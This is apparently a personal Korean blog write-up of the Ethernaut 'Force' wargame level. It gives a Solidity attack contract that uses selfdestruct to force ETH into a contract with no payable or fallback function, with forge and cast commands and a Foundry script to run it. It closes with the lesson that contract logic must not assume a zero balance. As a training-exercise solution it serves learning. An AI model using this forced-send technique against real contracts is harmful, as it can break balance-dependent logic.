[Ethernaut] (7 Force)블록체인2025. 1. 2. 05:18
Table of Contents

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }
해당 컨트렉트에 payable 함수 및 fallback이 구현되어있지 않아서 정상적으로 ETH를 보낼 수 없는 상황이다.
selfdestruct를 이용하면 강제로 ETH를 보낼 수 있다.
- selfdestruct는 컨트랙트를 파괴하는 동시에 해당 컨트랙트가 보유한 모든 ETH를 지정된 주소로 강제로 전송한다.
- 이때 중요한 점은 받는 쪽 컨트랙트가 ETH를 받아들일 수 있는지 여부를 체크하지 않는다.
- 즉, receive()나 fallback() 함수의 존재 여부와 관계없이 ETH가 전송된다.
pragma solidity ^0.8.13;
contract attack {
address public target = 0xFf1FA758b9c7E0B7CA3410674de5344707cA6AE4;
// ETH를 받기 위한 함수
receive() external payable {}
// 공격 함수
function atk() public {
selfdestruct(payable(target)); // 강제로 ETH 전송
}
}
forge create --rpc-url $RPC_URL --account Burnnnnny src/Force.sol:attack
배포하고 배포된 공격 컨트랙트에 최소한의 ETH를 보내고
cast 로 atk 함수를 호출한다.
❯❯ cast send 0x2Ed73Cfe64399A7527a8ACBEBEdc8EBA836bE232 "atk()" --account Burnnnnny --rpc-url $RPC_URL


교훈
컨트랙트가 ETH를 받지 않도록 설계하더라도, selfdestruct를 통해 강제로 ETH를 받을 수 있다.
따라서 컨트랙트의 잔액이 0이라는 가정하에 로직을 설계하면 안된다.
5월 7일
script 풀이코드
요즘 이더지갑을 바꿔서 다시 풀고 있다. 스크립트 버전으로도 풀려고 시도중 ㅎㅎ
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
contract attack {
address public target = 0x319FE12d5443f38Fd6d5ee27A3013bAFe47185aA;
// ETH를 받기 위한 함수
receive() external payable {}
// 공격 함수
function atk() public {
selfdestruct(payable(target)); // 강제로 ETH 전송
}
}
contract ForceScript is Script {
function run() public {
vm.startBroadcast();
attack atk = new attack();
payable(address(atk)).transfer(0.001 ether);
atk.atk();
vm.stopBroadcast();
}
}
'블록체인' 카테고리의 다른 글
| [Ethernaut] (9 king) (0) | 2025.01.17 |
|---|---|
| [Ethernaut] (4 Telephone) (0) | 2025.01.04 |
| Testnet ETH 받는 방법 (0) | 2025.01.02 |
| [Ethernaut] (5 Token) (0) | 2024.12.25 |
| [Ethernaut] (8 Vault) (0) | 2024.12.25 |
@Burnnnnny :: Burnnnnny Blog
내가 보고 내가 참고하려고 만든 블로그
틀린 내용이 있다면 댓글로 알려주시면 감사하겠습니다.